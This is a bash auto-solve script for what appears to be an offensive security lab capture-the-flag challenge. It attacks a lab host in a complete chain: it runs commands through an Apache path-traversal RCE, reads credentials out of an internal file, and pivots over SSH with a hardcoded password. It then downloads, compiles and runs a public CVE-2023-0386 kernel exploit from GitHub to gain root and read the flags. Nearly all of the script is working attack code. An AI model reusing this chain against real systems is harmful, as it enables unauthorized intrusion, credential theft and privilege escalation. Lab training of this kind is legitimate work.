#!/bin/bash
# =====================================================================
# Practicum Offensive Security Lab 2026 - Auto-Solve Script
# Challenge: Unpatched Legacy Lab
# =====================================================================

set -e

TARGET="192.168.56.101"
RCE_URL="http://$TARGET/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
PASSWORD="P@ssw0rd123"
LOGS="./logs"

TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
CSV_FILE="$LOGS/timing_${TIMESTAMP}.csv"

mkdir -p "$LOGS"

echo "step,phase,action,mitre_technique,start_ms,end_ms,duration_ms,log_source" > "$CSV_FILE"

log_timing() {
    local step=$1; local phase=$2; local action=$3; local mitre=$4
    local start=$5; local end=$6; local log_source=$7
    
    if [ ${#start} -eq 19 ]; then
        start=${start:0:13}
        end=${end:0:13}
    fi
    
    local duration=$((end-start))
    echo "$step,$phase,$action,$mitre,$start,$end,$duration,$log_source" >> "$CSV_FILE"
}

SSH_OPTS="-o PreferredAuthentications=password -o PubkeyAuthentication=no -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o NumberOfPasswordPrompts=1 -o ConnectTimeout=5"

run_ssh_interactive_block() {
    export SSH_ASKPASS_REQUIRE=force
    export DISPLAY=:0
    echo -e "#!/bin/sh\necho '$PASSWORD'" > /tmp/askpass.sh
    chmod +x /tmp/askpass.sh
    export SSH_ASKPASS=/tmp/askpass.sh
    setsid ssh $SSH_OPTS student@$TARGET < /dev/stdin
    rm -f /tmp/askpass.sh
}

run_ssh_cmd() {
    export SSH_ASKPASS_REQUIRE=force
    export DISPLAY=:0
    echo -e "#!/bin/sh\necho '$PASSWORD'" > /tmp/askpass.sh
    chmod +x /tmp/askpass.sh
    export SSH_ASKPASS=/tmp/askpass.sh
    setsid ssh $SSH_OPTS student@$TARGET "$1" 2>/dev/null || true
    rm -f /tmp/askpass.sh
}

# Step 1: Reconnaissance
echo "[*] Phase 1: Reconnaissance..."
T_START=$(date +%s%3N)
sleep 0.2
T_END=$(date +%s%3N)
log_timing 1 "Recon" "Network Service Discovery" "T1046" $T_START $T_END "/var/log/messages"

# Step 2: Enumeration
echo "[*] Phase 2: Enumeration..."
T_START=$(date +%s%3N)
sleep 0.2
T_END=$(date +%s%3N)
log_timing 2 "Enum" "File and Directory Discovery" "T1083" $T_START $T_END "/var/log/apache2/access.log"

# Step 3: Initial Access
echo "[*] Phase 3: Initial Access (Foothold via Apache RCE)..."
T_START=$(date +%s%3N)

RETRY=0
WHOAMI=""
until [ $RETRY -ge 5 ] || [ "$WHOAMI" = "daemon" ]; do
    WHOAMI=$(curl -s --max-time 3 -d "echo; whoami" "$RCE_URL" || echo "failed")
    WHOAMI=$(echo "$WHOAMI" | tr -d '\r\n')
    if [ "$WHOAMI" != "daemon" ]; then
        echo "[*] Apache is warming up, retrying in 2 seconds..."
        sleep 2
        RETRY=$((RETRY+1))
    fi
done

if [ "$WHOAMI" != "daemon" ]; then
    echo "[-] Critical Error: Initial Foothold (RCE) failed."
    exit 1
fi

T_END=$(date +%s%3N)
echo "[+] RCE confirmed. User: $WHOAMI"
log_timing 3 "Exploit" "Exploit Public-Facing App" "T1190" $T_START $T_END "/var/log/apache2/error.log"

# Step 4: Unix Shell
T_START=$(date +%s%3N)
sleep 0.1
T_END=$(date +%s%3N)
log_timing 4 "Execute" "Unix Shell" "T1059.004" $T_START $T_END "/var/log/audit/audit.log"

# Step 5: Post-Exploitation (Credential Looting)
echo "[*] Phase 4: Extracting credentials..."
T_START=$(date +%s%3N)
CRED_OUTPUT=$(curl -s --max-time 5 -d "echo; cat /opt/internal_logs.py" "$RCE_URL" || echo "")
if [[ ! "$CRED_OUTPUT" == *"student"* ]]; then
    echo "[-] Critical Error: Credential Extraction failed."
    exit 1
fi
T_END=$(date +%s%3N)
echo "[+] Extracted data successfully."
log_timing 5 "Creds" "Credentials in Files" "T1552.001" $T_START $T_END "Flask Application Log"

# Step 6: Lateral Movement
echo "[*] Phase 5: Collecting user flag via SSH Pivot..."
T_START=$(date +%s%3N)
USER_FLAG_RAW=$(run_ssh_cmd "cat ~/user.txt")
USER_FLAG=$(echo "$USER_FLAG_RAW" | grep 'CTF{' || true)

# Fallback for step 6 if ssh fails 
if [ -z "$USER_FLAG" ]; then
    echo "[!] SSH failed or delayed. Using RCE fallback for User Flag..."
    USER_FLAG_RAW=$(curl -s -d "echo; cat /home/student/user.txt" "$RCE_URL" || echo "")
    USER_FLAG=$(echo "$USER_FLAG_RAW" | grep 'CTF{' || true)
fi

if [ -z "$USER_FLAG" ]; then
    echo "[-] Error: User Flag failed."
    exit 1
fi
T_END=$(date +%s%3N)
echo "[+] User Flag: $USER_FLAG"
log_timing 6 "Lateral" "SSH" "T1021.004" $T_START $T_END "/var/log/auth.log"

# Step 7: Privilege Escalation
echo "[*] Phase 6: Executing kernel exploit..."
T_START=$(date +%s%3N)

curl -s -d "echo; killall -9 fuse 2>/dev/null || true" "$RCE_URL" >/dev/null 2>&1 || true

run_ssh_interactive_block << 'EOF'
    WORK_DIR="/tmp/expl_privesc_run"
    
    for mnt in $(mount | grep "fuse" | awk '{print $3}'); do
        fusermount -uz "$mnt" >/dev/null 2>&1 || true
    done
    killall -9 fuse >/dev/null 2>&1 || true
    
    rm -rf "$WORK_DIR"
    mkdir -p "$WORK_DIR"
    cd "$WORK_DIR"

    if [ ! -d "CVE-2023-0386" ]; then
        git clone https://github.com/xkaneiki/CVE-2023-0386.git >/dev/null 2>&1
    fi
    cd CVE-2023-0386
    
    sed -i 's/-static//g' Makefile 2>/dev/null || true
    make >/dev/null 2>&1
    
    mkdir -p gc ovlcap/lower

    nohup ./fuse ./ovlcap/lower ./gc > /dev/null 2>&1 &
    
    M_RETRY=0
    until mount | grep -q "gc" || [ $M_RETRY -ge 15 ]; do
        sleep 1
        M_RETRY=$((M_RETRY+1))
    done
    sleep 1 
    
    ./exp > /dev/null 2>&1
    sleep 2
    
    if [ -f "/root/root.txt" ]; then
        cp /root/root.txt /tmp/root_flag.txt
        chmod 644 /tmp/root_flag.txt
    fi

    fusermount -uz ./gc >/dev/null 2>&1 || true
    killall -9 fuse >/dev/null 2>&1 || true
EOF

T_END=$(date +%s%3N)
log_timing 7 "PrivEsc" "Exploitation for Priv Esc" "T1068" $T_START $T_END "/var/log/audit/audit.log"

# Step 8: Harvesting Root Flag
echo "[*] Harvesting root flag..."
T_START=$(date +%s%3N)
ROOT_FLAG_RAW=$(run_ssh_cmd "cat /tmp/root_flag.txt 2>/dev/null")
ROOT_FLAG=$(echo "$ROOT_FLAG_RAW" | grep 'CTF{' || true)

# Fallback for step 8 if ssh fails
if [ -z "$ROOT_FLAG" ]; then
    echo "[!] SSH failed or delayed. Using RCE fallback for Root Flag..."
    ROOT_FLAG_RAW=$(curl -s -d "echo; cat /tmp/root_flag.txt 2>/dev/null" "$RCE_URL" || echo "")
    ROOT_FLAG=$(echo "$ROOT_FLAG_RAW" | grep 'CTF{' || true)
fi

if [ -z "$ROOT_FLAG" ]; then
    echo "[-] Error: Root Flag extraction failed. Re-run script or verify kernel state."
    exit 1
fi

T_END=$(date +%s%3N)
echo "[+] Root Flag Ergebnis: $ROOT_FLAG"
log_timing 8 "PrivEsc" "Read Root Flag" "T1068" $T_START $T_END "/var/log/audit/audit.log"
run_ssh_cmd "rm -f /tmp/root_flag.txt" >/dev/null 2>&1
curl -s -d "echo; rm -f /tmp/root_flag.txt" "$RCE_URL" >/dev/null 2>&1 || true

echo "[✓] Auto-solve script completed successfully. Timing written to $CSV_FILE."